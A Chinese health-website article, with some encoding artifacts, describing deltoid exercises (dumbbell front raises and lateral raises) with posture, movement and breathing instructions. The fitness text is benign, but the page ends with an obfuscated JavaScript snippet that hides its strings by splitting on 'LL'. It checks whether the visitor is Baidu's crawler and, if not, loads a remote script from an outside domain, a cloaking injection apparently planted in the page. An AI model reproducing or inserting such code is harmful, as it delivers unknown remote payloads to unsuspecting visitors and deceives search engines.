當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

三角肌肉鍛煉方式是什么

2017-04-17 09:02:10  來源:360常識網(wǎng)   熱度:
導(dǎo)語:三角肌分為前中后三部分,三角肌的鍛煉能幫助我們減少酸疼的毛病,長期坐在電腦前是不是感覺很難受,三角肌疼痛就是 因?yàn)殚L期保持一個姿勢

三角肌分為前中后三部分,三角肌的鍛煉能幫助我們減少酸疼的毛病,長期坐在電腦前是不是感覺很難受,三角肌疼痛就是 因?yàn)殚L期保持一個姿勢勞損了,做一些鍛煉三角肌的運(yùn)動和拉伸動作能大大的減少這種疼痛,想要身體健康就不能偷懶,要知道身體的部位要是忽視 太長的時(shí)間沒有鍛煉是會退化的,現(xiàn)在的年輕人就是缺乏運(yùn)動才導(dǎo)致身體差

起始姿勢

兩腿直立,挺胸收腹。兩手正握啞玲或杠鈴,兩臂下垂于腿前。

動作過程

直臂持鈴向上舉起,至稍高于肩。靜止一秒鐘,再直臂徐徐放下,還原至腿前。如用啞鈴,可左右手各一次,連續(xù)交替做

呼吸方法.

上舉時(shí)吸氣,下落時(shí)呼氣。

注意要點(diǎn)

上舉和下落時(shí)全身保持直立,兩臂保持直伸,意念集中在三角肌。

折疊 中束側(cè)平舉

起始姿勢

兩腳自然開立,兩手握啞鈴,下垂于身體兩側(cè)。

動作過程

收縮三角肌,直臂向側(cè)上方舉起,直到略高于肩,靜止一秒鐘,再讓兩臂徐徐放下到下垂位置。

呼吸方法

上舉時(shí)吸氣,靜止時(shí)呼氣。下降時(shí)吸氣,完全落下時(shí)呼氣。

注意要點(diǎn)

上舉和下落時(shí),全身保持直立,不要搖擺彎曲,臂部保持直伸

如上所述希望給予大家一個參考,關(guān)于三角肌的鍛煉就是那么簡單,通過這篇文章我們知道鍛煉三角肌的重要性。一個全身充滿肌肉的男人 他一定很 熱愛自己的生命,一直都在堅(jiān)持著運(yùn)動,三角肌的鍛煉是需要時(shí)間的。每天時(shí)間允許就做一些這方面的拉伸運(yùn)動會感覺舒適,運(yùn)動能緩解我們的疲憊。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}